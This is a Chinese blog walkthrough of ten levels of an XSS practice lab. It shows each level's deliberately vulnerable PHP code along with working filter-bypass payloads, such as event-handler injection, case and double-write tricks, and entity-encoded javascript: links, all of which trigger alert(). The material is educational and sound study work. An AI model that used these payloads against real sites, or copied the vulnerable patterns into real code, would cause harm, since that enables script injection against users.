xss闖關小練習(一)

忘記啥時候下載的練習題,無聊拿出來做做。
打開后隨便點一下進入第一關:

第一關

image.png

源碼:

<body>
<h1 align=center>歡迎來到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>

分析:沒有做任何過濾
payload為:name=<script>alert(/xss/)</script>

第二關:

image.png

源碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>

分析:有兩處輸出,第一處在PHP代碼塊的echo中輸出,第二處在表單input中輸出,第一處用htmlspeciachars()做了轉義,第二處并沒有做限制,讓payload在第二處起效果就好,有2種方法。
1.不逃逸input標簽閉合前邊的雙引號加個事件觸發xss即可:
移動下鼠標即可觸發payload為: " onmouseover="alert(/xss/)
點擊輸入框即可觸發payload為: " onclick="alert(/xss/)
點擊輸入框即可觸發payload為: " onfocus="alert(/xss/)
2.逃逸出input標簽執行另外的標簽觸發xss即可:
用<img>標簽payload為: "><img src=! onerror="alert(/xss/)">
用<img>標簽payload為:"><img src="javascript:alert(/xss/)"> //瀏覽器可能會過濾這個
用<a>標簽payload為: "><a href="javascript:alert(/xss/)">xss</a>
用<a>標簽payload為:<a href="" onmouseover="alert(/xss/)">xss</a> // 移動鼠標至框內
payload太多了,大同小異能用就行

第三關:

image.png

源碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>

分析:這次它將兩個輸出點都做了htmlspecialchars()轉義,那既然做了轉義那么雙引號和尖括號就沒有效果了,但是單引號在這個函數中如果沒做特殊的改動,默認是可以出效果的,而且源碼中的value是用單引號,看來是有意讓我使用單引號。
payload為:' onmouseover='alert(/xss/) //其他payload省略

第四關:

image.png

源碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析:這里的倆個輸出點,一個被轉義,另外一個將尖括號替換為空,但是這并不影響啊,按照上兩題的套路,雖然不能閉合標簽,單照樣可以在input標簽里邊出發xss的。
payload為:" onfocus="alert(/xss/) //鼠標點擊輸入框出發,其他payload省略

第五關:

image.png

源碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析:貌似還是和前幾題差不多只是將<script和on進行了替換但是黑名單過濾沒用啊,兩種方法都可觸發xss,第一種可以直接跳出input標簽換個其他標簽即可第二種改變下大小寫也可以,但是仔細看源代碼發現有個strtolower()函數,他會把提交的所有字符轉換為小寫,那就跳出input標簽即可。
payload為:"><a href="javascript:alert(/xss/)">xss</a>

第六關:

image.png

源碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析:代碼中它還是進行了關鍵字過濾,但是沒有了strtolow()函數,那么進行大小寫繞過即可:
1.在input標簽中觸發XSS:
payload為:" ONmouseover="alert(/xss/) //等等...
2.跳出input標簽觸發XSS:
payload為:"><sCript>alert(/xss/)</sCript> //等等...

第七關:

image.png

源碼:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析:這道題出題人似乎把上邊遇到的缺陷都補充了,但是程序有意的將特殊字符替換成空字符,這樣可以采用補充撮合的方法達到XSS攻擊效果。
1.在input標簽中觸發:
payload為:" oonnmouseover="alert(/xss/) //等等...
2.跳出input標簽觸發:
payload為:"><scscriptript>alert(/xss/)</scscriptript> //等等...

第八關:

image.png

源碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>

分析:這次代碼先是將字符轉換為小寫,然后過濾特殊字符和雙引號,最后又怕有漏網之魚加了一個轉義函數輸出,所以按常規方法繞幾乎不可能成功,代碼處的添加友情鏈接是突破點,在input框中輸入字符提交之后,在友情鏈接處會載入一個拼接后的a標簽,因為javascript被過濾對其進行編碼繞過再點擊友情鏈接即可。
payload為:javascrip&#116;:alert(/xss/)

第九關:

image.png

源碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>

分析:這次在上一題的基礎上加入了strpos()函數,查找如果url中找到'http'那么會返回找到位置的位數,自然不會返回0也就不會等于false,那么就可以繞過限制了,但是為什么會這么做呢?回想了下,應該是讓輸入框必須要輸入合法的URL即帶有http的字符串,那么可以向輸入框加進去就可以繞過了。
payload為:javascrip&#116;:alert(/xss/)//http://

第十關:

image.png

源碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析:這道題有倆個輸出的地方,第一個被實體化過濾,第二個是隱藏表單的"t_sort"參數即'$str33',過濾了尖括號,那么就在input標簽中觸發xss即可,可以用onmouseover或者是onclick,需要將隱藏表單顯示出來觸發:
payload為:url后加 &t_sort=xss" onmouseover=alert(/xss/) type="text"
payload為:url后加 &t_sort=xss" onclick=alert(/xss/) type="text"

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • 之前積累了XSS 有一段時間,因為目前開始了一件有趣的工程,需要整合非常多的知識,其中Web 安全這一塊出現最多的...
    刀背藏身閱讀 9,227評論 0 16
  • Spring Cloud為開發人員提供了快速構建分布式系統中一些常見模式的工具(例如配置管理,服務發現,斷路器,智...
    卡卡羅2017閱讀 134,949評論 18 139
  • 今天語文作業是寫3,4,6,8,16的故事。我先講一下各種類型的拼音有哪些:拼音z?、c?、s,它們都是平舌音;就...
    張軒赫閱讀 400評論 2 6
  • 左手是喧鬧 看到時間在跑 人群逐漸在動 他們嬉戲打鬧 右手是安靜 感受空間變圓 一圈一圈的轉 過去的人又來 左手在...
    說什么話不像說謊h閱讀 236評論 0 0
  • 提姆.哈弗德在TED講壇上有一則關于錯誤的精彩演講。我并不熟悉這位美國人,卻被他所表達的東西深深打動:錯誤是...
    三升石閱讀 433評論 0 1